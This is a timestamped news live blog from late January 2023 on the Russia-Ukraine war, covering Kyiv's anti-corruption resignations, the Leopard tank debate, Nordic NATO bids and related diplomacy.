I am sure those allegations will be looked into very carefully and we should definitely make sure there is a proper review before we come to any firm conclusions.

Zelenskys party draws up new transparency laws' after corruption allegations

17:01 , Andy Gregory

Ukraines ruling party has drawn up legislation aiming to boost transparency in defence procurement  after an army food contract became the subject of high-profile corruption allegations.

President Volodymyr Zelenskys team is trying to set out a tough stance after the defence ministry was accused by a media outlet of overspending on food  allegations it denied. The supplier has said it made a technical mistake and no money had changed hands.

Anastasia Radina, head of the parliamentary committee for anti-corruption matters, said the bill would make it obligatory for prices paid for products and services for the army to be made public on the state procurement website  with arms purchases exempt.

We are obliged to ensure a level of transparency in procurement for the army, under which such scandals simply will not arise. Can it be done in a way that does not expose customers and suppliers to additional risks? Yes, she said.

The legislation has been sent to parliament for discussion and would need to be approved in three votes in that chamber before being signed into law.

ICYMI: Wagner chief gloats about comparisons to Rasputin

16:30 , Matt Mathers

The chief of Russian paramilitary organisation Wagner has responded to comparisons made between him and Rasputin.

Referencing an article in the Financial Times which likened him to the historic Russian mystic, Yevgeny Prigozhin  the founder of Wagner  appeared to gloat about his intentions.

My colleague Eleanor Noyce reports:

Wagner chief Yevgeny Prigozhin gloats about comparisons to Russian mystic Rasputin

US may drop opposition to sending Abrams tanks to Ukraine - officials

16:00 , Matt Mathers

The United States, in a reversal, appears to be dropping its opposition to sending M1 Abrams tanks to Ukraine and an announcement could come as soon as this week, two US officials told Reuters on Tuesday.

The officials, speaking on condition of anonymity, said they were not aware of a final U.S. decision to send the Abrams to Ukraine, a move that could encourage Germany to follow.

The Pentagon could not be immediately reached for comment.

Berlin will handle Poland's request with utmost urgency - senior official

15:20 , Matt Mathers

The German government will handle with utmost urgency Polands request to allow Warsaw the export of Leopard tanks to Ukraine, the state secretary at the economy ministry said on Tuesday.

"I can only tell you: We will urgently work on taking a decision," Sven Giegold told a defence conference in Berlin organised by Handelsblatt, adding that the defence ministry was in the lead on the matter.

Russia's Putin says stockpile needed to curb drug shortages

14:50 , Matt Mathers

President Vladimir Putin said on Tuesday that there were shortages of some medicines in Russia, despite the country producing more of its own drugs, and suggested building up stocks of popular medicines to help meet demand.

While prescription drugs are exempt from Western sanctions imposed over the war in Ukraine, their delivery to Russia has been hit by transport, insurance and customs hurdles caused by the war and other restrictive measures, industry figures say.

"There has been a shortage of some drugs, despite the fact that we saw production of pharmaceutical products in the (first) three quarters of last year grow by about 22 per cent," Putin said in a televised meeting with government officials.

"Sixty percent of medicines on the market are domestic drugs. Nevertheless, a deficit has formed in some drugs, and prices have risen."

Vladimir Putin (via REUTERS)

Finland says time-out needed in talks with Turkey over NATO bid

14:35 , Matt Mathers

Finlands foreign minister said on Tuesday a time-out of a few weeks was needed in Finland and Swedens talks with Turkey on their application to join the NATO military alliance.

Turkeys president said on Monday that Sweden should not expect his countrys support after a protest near the Turkish embassy in Stockholm at the weekend, which included the burning of a copy of the Koran.

"A time-out is needed before we return to the three-way talks and see where we are when the dust has settled after the current situation, so no conclusions should be drawn yet," foreign minister Pekka Haavisto told Reuters in a telephone interview.

"I think there will be a break for a couple of weeks."

Pekka Haavisto (Copyright 2023 The Associated Press. All rights reserved)

Britain will not dictate to allies over their support for Ukraine, says No 10

14:11 , Andy Gregory

Britain will not dictate to its allies what form their support for Ukraine should take, Downing Street has said, as Germany faces increasing pressure to approve the transfer of Leopard 2 battle tanks.

Nato secretary-general Jens Stoltenberg became the latest to urge the speedy delivery of heavier and more advanced weapons systems to Ukraine, after talks with the new German defence minister Boris Pistorius in Berlin.

But Rishi Sunaks spokesperson said the UK government would not dictate to other countries exactly what they should or should not provide  first and foremost that must be for those countries.

He added: We look to work with our allies in lockstep as much as possible. Our approach has borne fruit. Youve seen the huge amounts of equipment, material and financial support that has been provided to Ukraine since the start of the war.

Medvedev seeks to downplay claims Moscow running low on missiles

13:54 , Andy Gregory

Former Russian president Dmitry Medvedev has sought to discredit Western military reports that Moscows stockpiles of missiles and artillery are running low.

Our opponents are watching, they periodically make statements that we dont have this or that ... I want to disappoint them. We have enough of everything, Mr Medvedev said during a visit to a Kalashnikov factory in Izhevsk, some 620 miles east of Moscow.

In a video posted on his Telegram channel, Mr Medvedev  now the chair of Russias security council  was seen inspecting Kalashnikov rifles, artillery shells, missiles and drones.

(Sputnik/Ekaterina Shtukina/Pool via REUTERS)

Ukraine appoints new supervisory board for state gas giant

13:00 , Matt Mathers

Ukraine has appointed a new supervisory board to oversee state-owned natural gas monopoly Naftogaz, prime minister Denys Shmyhal said on Tuesday, meeting a requirement of a financial assistance programme from the International Monetary Fund.

Shmyhal told a government meeting that the new board consisted of four independent members and two representatives of the state, according to a video of the meeting posted on his Telegram channel.

Ukraines economy is heavily dependent on foreign aid since Russia launched a full-scale invasion of the country on 24 Feb.

Naftogaz is Ukraines largest national oil and gas company and its subsidiary, Ukrtransgaz, operates a pipeline system that carries Russian gas to Europe.

Naftogazs recently appointed CEO, Oleksiy Chernyshov, promised late last year to boost international investors confidence in the firm.

One of Chernyshovs predecessors is currently under investigation by Ukraines anti-corruption authorities on suspicion of embezzling the equivalent of around $10 million.

Russian lawmakers to consider booking system to cross land borders

12:42 , Matt Mathers

Russian lawmakers are preparing legislation that will make it mandatory for people to book a time and place in advance to cross the border, raising fresh fears that the Kremlin could impose more restrictions on travel in and out of the country.

Amendments to a transport law, introduced to parliament on Monday, stipulate that "vehicles belonging to Russian transport companies, foreign transport companies, citizens of the Russian Federation, foreign citizens, stateless persons and other road users" would have to reserve a date and time "in order to cross the state border of the Russian Federation".

Following speculation that the measures could be used to make it harder for ordinary Russians to leave the country, Russian news agencies quoted the transport ministry as saying the curbs would only apply to cargo trucks, and only be enforced at some, not all, of Russias land border crossing points.

"The main purpose of the bill is to streamline the movement of trucks flowing through checkpoints and reduce the congestion of cargo transport near border checkpoints," the RIA Novosti news agency cited the transport ministry as saying.

Two more deputy ministers resign in Ukraine government shake-up

11:24 , Matt Mathers

Two deputy ministers resigned from Ukraines Ministry of Communities and Territories Development on Tuesday amid a broader exit of senior officials from the government.

Vyacheslav Negoda and Ivan Lukerya both confirmed the moves on their Facebook pages.

President Volodymyr Zelenskiy has said he was planning to streamline his wartime government and crack down on corruption.

Decision on supplying tanks to Kyiv 'purely political' - German chief of defence

11:03 , Matt Mathers

The decision about the delivery of Leopard tanks to Ukraine will be taken solely at the political level, Germanys chief of defence Eberhard Zorn said on Tuesday.

"This is purely a political decision," he said at a defence conference in Berlin organised by Handelsblatt.

Berlin has for days been under pressure to provide tanks to Kyiv after several European countries vowed to do so.

Senior Ukrainian officials step down in rare purge in Kyiv

10:30 , Matt Mathers

Several senior Ukrainian officials resigned on Tuesday in the biggest leadership shakeup of the war with Russia so far, in what an aide to President Volodymyr Zelensky called an answer to public calls for "justice".

Some, though not all, of the resignations were linked with corruption allegations. Ukraine has a history of graft and shaky governance, and is under international pressure to show it can be a reliable steward of billions of dollars in Western aid.

"There are already personnel decisions - some today, some tomorrow - regarding officials at various levels in ministries and other central government structures, as well as in the regions and in law enforcement," Zelensky said in an overnight video address.

(Ukraine Presidents Office)

Finland and Sweden Nato talks need pause

10:00 , Liam James

Finnish foreign minister Pekka Haavisto said official talks between Turkey, Finland, Sweden and Turkey on the two Nordic nations plans to join the Nato military alliance needed to pause for a few weeks.

Turkeys president said yesterday that Sweden should not expect his countrys support for Nato membership after a protest near the Turkish embassy in Stockholm at the weekend including the burning of a copy of the Koran.

A timeout is needed before we return to the three-way talks and see where we are when the dust has settled after the current situation, so no conclusions should be drawn yet, Ms Haavisto told Reuters. I think there will be a break for a couple of weeks, he added.

Sweden and Finland applied last year to join North Atlantic Treaty Organization after Russias invasion of Ukraine. They now need the backing of all current Nato states to progress with their application.

But alliance member Turkey has said Sweden in particular must take a clearer stance against what Ankara sees as terrorists, mainly Kurdish militants and a group it blames for a 2016 coup attempt in Turkey.

Covid-19 cut human trafficking, Ukraine war may reverse this

09:30 , Liam James

The Covid-19 pandemic led to the first drop in the known number of human-trafficking victims in 20 years as trafficking opportunities and policing were reduced, but the Ukraine war has probably now caused a new surge, a UN report said.

The number of detected trafficking victims fell 11 per cent in 2020, the most recent year for which data is available in most countries, the United Nations Office on Drugs and Crime (UNODC) said in its seventh Global Report on Trafficking in Persons.

Conflicts tend to increase trafficking and the war in Ukraine is unlikely to be an exception, it added.

Ukraine deputy prosecutor general out in corruption purge

09:00 , Liam James

Ukraines deputy prosecutor general has been sacked by Volodymyr Zelensky, becoming the latest in a purge of officials over corruption claims.

The president threatened jail time for grafting officials as he announced that he would be clearing out the government ranks.

Deputy prosecutor general Oleksy Symonenko follows Kyrylo Tymoshenko, deputy head of Ukraines presidential office, and Vyacheslav Shapovalov, deputy defence minister, out the door.

A letter announcing Mr Symonenkos departure said he left according to his own wish.

Ukraines deputy defence minister next out the door in corruption scandal

08:30 , Liam James

Ukraines deputy defence minister has resigned, citing media accusations of corruption that he and the ministry say are baseless.

A statement on the defence ministrys website said that Vyacheslav Shapovalovs resignation was a worthy deed that would help retain trust in the ministry.

Mr Shapovalov was responsible for supplying troops with food and equipment.

His resignation follows that of Kyrylo Tymoshenko, deputy head of Ukraines presidential office.

Leading Zelensky aide resigns amid corruption scandal

08:03 , Liam James

The deputy head of Ukraines presidential office, Kyrylo Tymoshenko, said he has asked President Volodymyr Zelensky to relieve him of his duties.

I thank the President of Ukraine Volodymyr Zelensky for the trust and the opportunity to do good deeds every day and every minute, Mr Tymoshenko wrote on the Telegram messaging app. The aide had been one of the leading social media presences getting the Ukraine governments line across to the public.

Mr Tymoshenko gave no reason for his resignation. Ukrainian media had reported that Tymoshenko might be part of the personnel shake-up Mr Zelensky announced.

Mr Zelensky said on Monday that personnel changes would be announced this week in the government, the regions and in the security forces after allegations of corruption nearly a year into Russias invasion.

Tymoshenko holds up a letter as he announces his resignation (Reuters)

Boris Johnson urges more support for Ukraine now

07:30 , Stuti Mishra

Boris Johnson has urged western allies to give Ukraine all the help that they need to defeat Russian military forces, just a day after his surprise visit to the country.

In an editorial renewing his support for the war-torn nation, the former prime minister writes: Look at those brave Ukrainians and answer me this question: just what the hell are we waiting for?

Mr Johnson positioned himself as a key ally of Kyiv during his time at No 10 and has consistently called for further military support for Ukraine.

Click here for the full story.

(Reuters)

Is there more to Boris Johnsons trip to Ukraine?

07:10 , Stuti Mishra

Boris Johnson made a surprise visit to Kyiv and the towns of Bucha and Borodyanka, where he witnessed the destruction left after the Russian occupation in March last year, including massacres of civilians. Sean OGrady looks at why.

To be fair to Johnson, he was one of the first Western leaders to comprehend the menace of Russian intentions towards Ukraine, and was a driving force in delivering assistance after the invasion last February.

Click here for the full story.

Rishi Sunak and Irish Taoiseach Leo Varadkar met to discuss Ukraine, Downing Street confirms

06:50 , Stuti Mishra

A Downing Street spokeswoman said on Monday: The Prime Minister spoke to the Irish Taoiseach Leo Varadkar this afternoon.

The leaders reflected on the close relationship between the UK and Ireland, and the Prime Minister said it was clear both nations were highly aligned when it came to shared values and challenges. He pointed to cooperation on areas like research and development and offshore wind.

The leaders discussed the invasion of Ukraine, and the Prime Minister updated on the UKs plans to accelerate its support to help the country secure a lasting peace.

They also discussed the Northern Ireland Protocol, and the need to find solutions to the problems being faced by communities in Northern Ireland. Both leaders reflected on the need for Northern Ireland to have a power-sharing government up and running as soon as possible.

The leaders agreed to stay in close touch.

Boris Johnsons bond with Ukraine is greater than you think

06:20 , Stuti Mishra

Every wall of the Rover Hotel in Lviv is inexplicably covered with photos of Boris Johnson cycling. In fact, the entire theme of the hotel is dedicated to our former prime minister (and his bikes).

When visiting Ukraine you would be forgiven for thinking that Johnson was still the British prime minister, writes Bel Trew.

Read more:

Boris Johnsons bond with Ukraine is greater than you think | Bel Trew

What are the Leopard 2 tanks that could soon be sent to Ukraine

06:00 , Stuti Mishra

Following intense pressure from its allies, Germany appears to be inching toward approving deliveries of high-tech Leopard 2 main battle tanks that Ukraine and its biggest Western backers hope will boost Kyivs fight against Russian invaders.

Over the weekend German foreign minister, Annalena Baerbock, said Berlin would not get in the way if Poland  arguably Ukraines most vocal supporter among European Union neighbours  wants to ship Leopard 2 tanks from its arsenal across the border into Ukraine.

Germany is also not ruling out supplying such tanks to Ukraine itself now, cautioning however that the implications of such a step need to be carefully weighed.

Heres a look at what those tanks might mean for Ukraines defence against Russian forces  and hopes for driving them out.

A look at Leopard 2 tanks that could soon be sent to Ukraine

Poland adds pressure on Germany over Leopard tanks

05:40 , Stuti Mishra

Poland has stepped up pressure on Germany over arms to Ukraine, saying it would send German-made Leopard tanks to Kyiv if other countries did the same, as Berlin says it would not stand in the way of the export.

President Volodymyr Zelenskys government wants the widely-used tanks to help it break through Russian lines and recapture territory.

But Germany, which must approve re-exports of the Leopard, was reported to have held back the approval, wary of moves that could cause Moscow to escalate.

Germanys foreign minister Anna Baerbock said on Sunday that she would not stand in the way of Poland if it were to send Leopard 2 tanks to Ukraine.

Alastair Jamieson has more:

Pressure grows on Berlin as Poland signals sending tanks to Ukraine

Boris Johnson trip to Ukraine paid for by taxpayers, confirms No 10

05:20 , Stuti Mishra

Security for Boris Johnsons surprise visit to Ukraine at the weekend was funded by taxpayers, Downing Street has said.

The former prime minister, facing fresh questions over his personal finances, said Ukrainian president Volodymyr Zelensky had invited him to travel to Kyiv once again.

No 10 said Rishi Sunak was supportive of Mr Johnsons trip, after warnings from military figures that the former PM should not be looking for publicity and could undermine the PMs authority.

Our political correspondent Adam Forrest has more:

Boris Johnson trip to Ukraine paid for by taxpayers, say No 10

Putin turning away' from Wagner group

05:00 , Stuti Mishra

Vladimir Putin is turning away from his reliance on the Wagner group of mercenaries to fight in Ukraine, according to military observers.

In its latest update on the Ukraine conflict, the Institute for the Study of War (ISW) said the Russian president likely intends to rely on conventional Russian forces after recently appointing a new overall commander in General Valeriy Gerasimov.

Mr Putin may have felt threatened by Wagner group leader Yevgeny Prigozhins ambition in Moscow politics and his claims of his mercenaries importance to the Russian campaign, the ISW said.

The Kremlin was put in an uncomfortable position earlier this month when Mr Prigozhin claimed his fighters taken the Ukrainian town of Soledar several days before Russia officially made the same claim.

Ukraine sanctions 22 associated with Russian Orthodox Church

04:40 , Stuti Mishra

Ukraine has imposed sanctions on 22 Russians associated with the Russian Orthodox Church for what president Volodymyr Zelensky said was their support of genocide under the cloak of religion.

According to a decree issued by the National Security and Defence Council of Ukraine, the list includes Mikhail Gundayev, who represents the Russian Orthodox Church in the World Council of Churches and other international organisations in Geneva.

Russian state media reported that Mr Gundayev is a nephew of the leader of the Russian Orthodox Church, Patriarch Kirill. Ukraine sanctioned Mr Kirill last year.

The sanctions are the latest in a series of steps Ukraine has taken against the Russian Orthodox Church, which has backed president Vladimir Putins invasion of Ukraine which is now entering its 12th month.

Sanctions have been imposed against 22 Russian citizens who, under the guise of spirituality, support terror and genocidal policy, Mr Zelensky said in his nightly address late on Monday.

He said the punitive measures said that they would strengthen the countrys spiritual independence.

Corrupt officials will be 'actively' jailed, says Zelensky ally

04:20 , Stuti Mishra

A top ally of president Volodymyr Zelensky has said that Kyiv would "actively" jail corrupt officials, as it adopts a zero-tolerance approach to corruption amid high-profile graft allegations.

The unnamed official's comments, reported by Reuters, come as Mr Zelensky is carrying out a sweeping personnel change amid reports that cabinet ministers and senior officials could be sacked imminently.

David Arakhamia, head of Mr Zelensky's Servant of the People party, said it had been made clear since Russia's invasion on 24 February 2022 that officials should "focus on the war, help victims, cut bureaucracy and stop dubious business".

"Many of them got the message. But many of them did not unfortunately. We're definitely going to be jailing actively this spring. If the humane approach doesn't work, we'll do it in line with martial law."

Ukraine pledges sweeping personnel changes amid corruption allegations

03:50 , Stuti Mishra

Ukrainian president Volodymyr Zelensky has announced personnel changes are being carried out at senior and lower levels, following the most high-profile graft allegations since Russias invasion that threaten to dampen Western enthusiasm for the Kyiv government.

Reports of a fresh scandal in Ukraine, which has a long history of shaky governance, come as European countries bicker over giving Kyiv German-made Leopard 2 tanks.

There are already personnel decisions - some today, some tomorrow - regarding officials at various levels in ministries and other central government structures, as well as in the regions and in law enforcement, Mr Zelensky said in his nightly video address on Monday.

Mr Zelensky, who did not identify the officials to be replaced, said his plans included toughening oversight on travelling abroad for official assignments.

Several Ukrainian media outlets have reported that cabinet ministers and senior officials could be sacked imminently.

This comes after anti-corruption police on Sunday said they had detained the deputy infrastructure minister on suspicion of receiving a $400,000 kickback over the import of generators last September, an allegation the minister denies.

A newspaper investigation accused the defence ministry of overpaying suppliers for soldiers food. The supplier has said it made a technical mistake and no money had changed hands.

Turkey's president says no support for Sweden's NATO bid

03:00 , Eleanor Noyce

Turkeys president cast serious doubt on NATOs expansion Monday after warning Sweden not to expect support for its bid for membership into the military alliance following weekend protests in Stockholm by an anti-Islam activist and pro-Kurdish groups.

President Recep Tayyip Erdogan slammed Rasmus Paludans Quran-burning protest on Saturday, saying it was an insult to everyone, especially to Muslims. He was particularly incensed at Swedish authorities for allowing the demonstration to take place outside the Turkish Embassy in Stockholm under the protection of security forces.

It is clear that those who allowed such vileness to take place in front of our embassy can no longer expect any charity from us regarding their NATO membership application, Erdogan said in his first comments regarding the weekend protests, saying Sweden must have calculated the consequences of permitting Paludans demonstration.

The burning of Islams holy book angered people across the political spectrum in Turkey, just as Sweden and Finland appeared on the cusp of NATO membership after dropping their longstanding policies of military nonalignment following Russias war on Ukraine. Russian President Vladimir Putin now stands to benefit as the potential enlargement of the worlds most powerful military alliance appears to be stymied.

Read more:

Turkey's president says no support for Sweden's NATO bid

US: Ex-FBI counterintelligence agent aided Russian oligarch

02:00 , Eleanor Noyce

A former high-ranking FBI counterintelligence official who investigated Russian oligarchs has been indicted on charges he secretly worked for one, in violation of U.S. sanctions. The official was also charged, in a separate indictment, with taking cash from a former foreign security officer.

Charles McGonigal, the special agent in charge of the FBIs counterintelligence division in New York from 2016 to 2018, is accused in an indictment unsealed Monday of working with a former Soviet diplomat-turned-Russian interpreter on behalf of Oleg Deripaska, a Russian billionaire they purportedly referred to in code as the big guy and the client.

McGonigal, who had supervised and participated in investigations of Russian oligarchs, including Deripaska, worked to have Deripaskas sanctions lifted in 2019 and took money from him in 2021 to investigate a rival oligarch, the Justice Department said.

Read more:

US: Ex-FBI counterintelligence agent aided Russian oligarch

Germany not blocking export of Leopard 2 tanks, says top EU diplomat

01:10 , Eleanor Noyce

Top EU diplomat Josep Borrell has stated that Germany is not blocking the export of the German-made Leopard 2 tanks.

Berlin is facing increasing pressure to supply these tanks to Ukraine.

It seems Germanys not going to ban the exporting of these weapons, if some EU member states who have them want to send them, Borrell told a news conference on Monday.

The EU has approved a 500 million support package for Ukraine, bringing the total amount of military support to $3.9 billion according to Borrell.

He also remarked that the blocs support to Ukraine now rests at $53 billion, including military, financial, economic and humanitarian aid.

We have to help Ukraine stop Russia, urges Latvian Prime Minister

00:40 , Eleanor Noyce

The Latvian Prime Minister has reiterated his support for Ukraine, urging that Russia can only be stopped if the West supplies weapons.

On Monday, the EU approved 500 million of military aid for Ukraine. However, the pressure is still on for Berlin to supply German-made Leopard tanks.

If Ukraine does not win then everyone has a huge problem because there is no indication that Russia will stop or would be interested in stopping, Krisjanis Karins told Sky News.

We have to help Ukraine stop Russia and that can only be done with the supplying of weapons.

It was quite important that Germany was fully on board with other EU countries on supplying the German-made Leopard tanks, Karins added.

EU launches civilian mission to monitor Armenia-Azerbaijan border

00:01 , Eleanor Noyce

The EU has launched a civilian mission to monitor the border between Armenia and Azerbaijan, a region viewed by the Kremlin as Russias backyard.

The initiative was requested by Armenia, extending a 40-strong mission that was deployed for two months in 2022.

The new mission has a two-year mandate and is set to conduct routine patrolling and report on the situation, an EU statement confirmed.

Armenia and Azerbaijan fought over control of Nagorno-Karabakh in the early 1990s, a victory which Armenia won. 30,000 people were killed.

Armenia has accused Russian soldiers of failing to prevent fighting and stopping Azerbaijanis blockading the only route to Nagorno-Karabakh. Russian peacekeepers were deployed to the region in 2021 after a conflict which killed 6500 people.

Poland adds pressure on Germany with threat to send Leopard tanks to Ukraine

Monday 23 January 2023 23:40 , Eleanor Noyce

Poland has stepped up pressure on Berlin over arms to Ukraine, saying it would send German-made Leopard tanks to Kyiv if other countries did the same.

President Volodymyr Zelenskys government wants the widely-used tanks to help it break through Russian lines and recapture territory.

But Germany, which must approve re-exports of the Leopard, has held back, wary of moves that could cause Moscow to escalate, and says other Nato nations have yet to formally seek permission to supply Kyiv.

It came as EU foreign ministers agreed to allocate another 440m worth of military aid for Ukraine, along with a further 30m for non-lethal equipment for military training of Ukraine, Swedish and Czech officials.

Alastair Jamieson reports:

Pressure grows on Berlin as Poland signals sending tanks to Ukraine

Protocol row isnt rocket science, says ex-taoiseach in call for solution

Monday 23 January 2023 23:10 , Eleanor Noyce

Dealing with concerns around the Northern Ireland Protocol isnt rocket science, and a solution must be found, a former Irish premier has said.

Bertie Ahern said the current stalemate which has plunged the Stormont Assembly into flux is beyond comprehension.

He emphasised that with a bit of flexibility it can be resolved.

I really, really believe that this isnt rocket science, he said.

When you think of the things that we resolved, we got the IRA to decommit their arms, we released prisoners  we reformed the old RUC to now a very competent international PSNI.

Closing the session, Mr Hoare said the horrors of the war in Ukraine has contextualised the size of the problem.

If the sophisticated, mature statecraft of Brussels, Westminster and Dublin cant solve this, then I think we all have to begin to wonder what the hell are we all doing, he said.

Rebecca Black has more:

Protocol row isnt rocket science, says ex-taoiseach in call for solution

Role who work for our economy from abroadshould not be punished, says billionaire metals executive Vladimir Potanin

Monday 23 January 2023 22:40 , Eleanor Noyce

One of Russias richest tycoons, billionaire metals executive Vladimir Potanin, has called on the authorities to tolerate Russian workers who have fled following the Ukraine war.

People who work for our economy from abroad - remotely or otherwise - should not be punished, Potanin told the online RBC news portal.

He also called for an end to punitive measures against workers who had fled, many of whom did so to avoid being drafted into the army or because they morally disagreed with the war.

It is estimated that Potanin is Russias richest or second-richest person, with his wealth derived from his stake in metals giant Nornickel.

Boris Johnson makes shock visit to Ukraine amid further questions over his finances

Monday 23 January 2023 22:10 , Eleanor Noyce

Boris Johnson made a surprise visit to Ukraine as he comes under pressure over claims that he involved the BBC chair Richard Sharp in talks that led to his securing an 800,000 line of credit while at No 10.

Former civil service chief Sir Bob Kerslake said there was no question that there appeared to be a conflict of interest  describing the reported involvement of Mr Sharp in the talks as an important departure from what should really happen.

The former prime minister was seen walking in the suburbs of Kyiv on Sunday, despite warnings from senior military figures that he should stay away and stop looking for publicity.

Adam Forrest reports:

Boris Johnson makes shock visit to Ukraine amid new questions over his finances

Russia now controls around 18% of Ukraine, Ministry of Defence states in update

Monday 23 January 2023 21:40 , Eleanor Noyce

The Ministry of Defence has issued an intelligence update on Ukraine.

Notably, it reports that the Russian force continues to endure operational deadlock and heavy casualties. Alongside Defence Minister Sergei Shoigu, General Valery Gerasimov is seen as out of touch and focused on presentation over substance.

Gerasimov, Russias Chief of the General Staff and newly appointed commander in Ukraine, has started his tour with a drive to improve deployed troops day-to-day discipline, the update furthers.

Since the beginning of his command, officers have been clamping down on non-regulation uniform, travel in civilian vehicles, the use of mobile phones and non-standard haircuts. These measures have been met with sceptical feedback.

The MoD also remarks that 54% of the maximum amount of territory Russia sized since February 24 2022 has now been liberated.

It also revealed that 18% of the internationally recognised areas of Ukraine are still controlled by Russia.

Latest Defence Intelligence update on the situation in Ukraine - 23 January 2023



Find out more about the UK government's response: https://t.co/CSN2KpKIMu



 #StandWithUkraine  pic.twitter.com/6ubHQ5sXPr  Ministry of Defence  (@DefenceHQ) January 23, 2023

Kremlin official claims West prevented negotiations that would have ended war in Ukraine

Monday 23 January 2023 21:10 , Eleanor Noyce

In a meeting with his South African counterpart, Russias foreign minister Sergei Lavrov has claimed that Moscow was willing to negotiate with Ukraine in the early months of the war, but the US and other Western nations advised Kyiv against it.

It is well known that we supported the proposal of the Ukrainian side to negotiate early in the special military operation, and by the end of March the two delegations agreed on the principle to settle this conflict, Mr Lavrov stated.

It is well known and was published openly that our American, British and some European colleagues told Ukraine that it is too early to deal, and the arrangement which was almost agreed was never revisited by the Kyiv regime.

In 2022, Putin claimed that Russia was ready for talks but that Ukraines Western allies prevented those from happening.

Lavrov was in Pretoria for talks with his South African counterpart Naledi Pandor.

Russia is looking to strengthen its relationship with its historical ally, which is taking a neutral stance on the war in refusing to condemn Russias invasion of Ukraine.

Update on German supply of tanks to Ukraine imminent, says US spokesperson

Monday 23 January 2023 20:42 , Eleanor Noyce

Spokesperson for the US Department of State Ned Price has stated that an update on Germanys supply of tanks to Ukraine is imminent, The Independent has learned.

You can expect news in the coming days from Germany about the supply of tanks to Ukraine, Price remarked in todays briefing.

So you know, we have the United States has concerns about any country, as weve said before, country exercising with Russia, while Russia wages a brutal war against Ukraine, he added.

Weve said this before weve been consistent on this of course every participating country will make their own decision.

Sean Penn's Ukraine documentary to premiere in Berlin

Monday 23 January 2023 20:40 , Eleanor Noyce

Sean Penns film about the war in Ukraine, Superpower, will have its world premiere at this years Berlin film festival, organizers said Monday.

The documentary will run outside the main competition, which features 18 movies this year including John Trengroves Manodrome with Jesse Eisenberg and Adrien Brody.

Organizers said the Berlinale will pay special tribute this year to Ukraine and the protests in Iran.

The annual event takes place from Feb. 16-26.

Sean Penn's Ukraine documentary to premiere in Berlin

Wagner chief gloats about comparisons to Rasputin

Monday 23 January 2023 20:10 , Eleanor Noyce

The chief of Russian paramilitary organisation Wagner has responded to comparisons made between him and Rasputin.

Referencing an article in the Financial Times which likened him to the historic Russian mystic, Yevgeny Prigozhin  the founder of Wagner  appeared to gloat about his intentions.

I am not very familiar with the history of Rasputin, but as far as I know, an important quality of Rasputin is that he staunched the blood flow of the young prince with incantations, Prigozhins press service quoted as his response.

Grigori Rasputin was a Russian mystic and religious figure who befriended the royal family of Tsar Nicholas II, Russias final emperor before the dynasty was overthrown during the Russian Revolution.

He gained notable influence over the Royal Family, acting as a faith healer for Nicholas and wife Alexandras son, Alexei  the young prince referenced by Prigozhin - who suffered from haemophilia, a bleeding disorder in which the blood does not clot properly.

Unfortunately, I do not staunch blood flow. I bleed the enemies of our motherland. And not by incantations, but by direct contact with them, Prigozhin furthered.

More here:

Wagner chief Yevgeny Prigozhin gloats about comparisons to Russian mystic Rasputin

Lavrov says West prevented negotiations to end Ukraine war

Monday 23 January 2023 19:40 , Eleanor Noyce

Moscow was willing to negotiate with Ukraine in the early months of the war but the U.S. and other Western nations advised Kyiv against it, Russian Foreign Minister Sergey Lavrov said Monday.

Lavrovs remarks on a visit to South Africa were similar to those made last year by Russian President Vladimir Putin that his country was for talks but Ukraines Western allies prevented that from happening.

The U.S. and other Western nations have said that Russia is not serious about negotiations to end the war, set to mark its one-year anniversary next month.

It is well known that we supported the proposal of the Ukrainian side to negotiate early in the special military operation and by the end of March, the two delegations agreed on the principle to settle this conflict, Lavrov said.

It is well known and was published openly that our American, British, and some European colleagues told Ukraine that it is too early to deal, and the arrangement which was almost agreed was never revisited by the Kyiv regime.

Mogomotsi Magome reports:

Lavrov says West prevented negotiations to end Ukraine war

Boris Johnson trip to Ukraine paid for by taxpayers, say No 10

Monday 23 January 2023 19:10 , Eleanor Noyce

Security for Boris Johnsons surprise visit to Ukraine at the weekend was funded by taxpayers, Downing Street has said.

The former prime minister, facing fresh questions over his personal finances, said Ukrainian president Volodymyr Zelensky had invited him to travel to Kyiv once again.

No 10 said Rishi Sunak was supportive of Mr Johnsons trip, after warnings from military figures that the former PM should not be looking for publicity and could undermine the PMs authority.

Mr Sunaks official spokesman confirmed the government paid for Mr Johnsons security as he visited some of the warn-torn suburbs around capital Kyiv on Sunday.

The costs of providing necessary protection for former prime ministers are paid for by the government. Beyond that I would not get into it, said the No 10 spokesman.

Mr Johnsons spokesperson said on Sunday that could not get into specifics for security reasons when asked who was stumping up for his trip.

Adam Forrest has more:

Boris Johnson trip to Ukraine paid for by taxpayers, say No 10

Hungary won't veto EU arms funding to Ukraine, official says

Monday 23 January 2023 18:40 , Eleanor Noyce

Hungarys foreign minister said Monday that while his government isnt in favor of the European Union sending funding for weapons to Ukraine, it wont block a planned tranche of 500 million euros ($543 million) in assistance to Kyiv to use in the war with Russia.

Speaking at a news briefing on the sidelines of a meeting of EU foreign ministers in Brussels, Peter Szijjarto dismissed as lies media reports that emerged last week that Hungary planned to veto the funds earmarked for Ukraine under the blocs European Peace Facility.

Hungary opposes the delivery of Western weapons to Ukraine  something Szijjarto said could lead to the prolongation or potential escalation of the war  but the government wont veto the aid package, he said.

We dont consider weapons shipments, nor the hundreds of millions of euros Europe has spent to finance them, a good idea. But we wont block the decision, he said.

While Hungarys government hasnt blocked previous payouts under the facility, which has to date delivered 3.1 billion euros in arms funding to Ukraine, it did veto an 18-billion euro aid package in December, leaving the EUs other 26 nations scrambling to keep the money supply going.

Justin Spike reports:

Hungary won't veto EU arms funding to Ukraine, official says

Latvia expels Russian ambassador in solidarity with Estonia

Monday 23 January 2023 18:10 , Eleanor Noyce

In light of escalating Baltic tensions with Russia, Latvia has expelled its Russian ambassador.

Latvias Minister for Foreign Affairs Edgars RinkAviAs tweeted in solidarity with Estonia as he made the announcement.

The Russian foreign ministry remarked that it had told the Estonian envoy he must leave next month. Both countries will be represented by a charge daffaires.

Estonia has responded by requesting that the Russian envoy depart by February 7, as confirmed by Estonias Minister of Foreign Affairs Urmas Reinsalu.

Lithuania expelled its Russian envoy in April.

Read more:

Russia, Estonia expel ambassadors amid 'destroyed' relations

Zelensky aide denies claims Ukraine storing weapons at nuclear plants

Monday 23 January 2023 17:40 , Eleanor Noyce

A Ukrainian presidential aide has dismissed a Russian claim that Ukrainian armed forces are storing weapons at nuclear power stations.

Mykhailo Podolyak branded the allegations lies, remarking that Ukraine has never stored any weapons on nuclear power plant territory.

Ukraine is always open to inspecting bodies, including the International Atomic Energy Agency, the advisor tweeted.

Russians lies are aimed to justify their provocations.

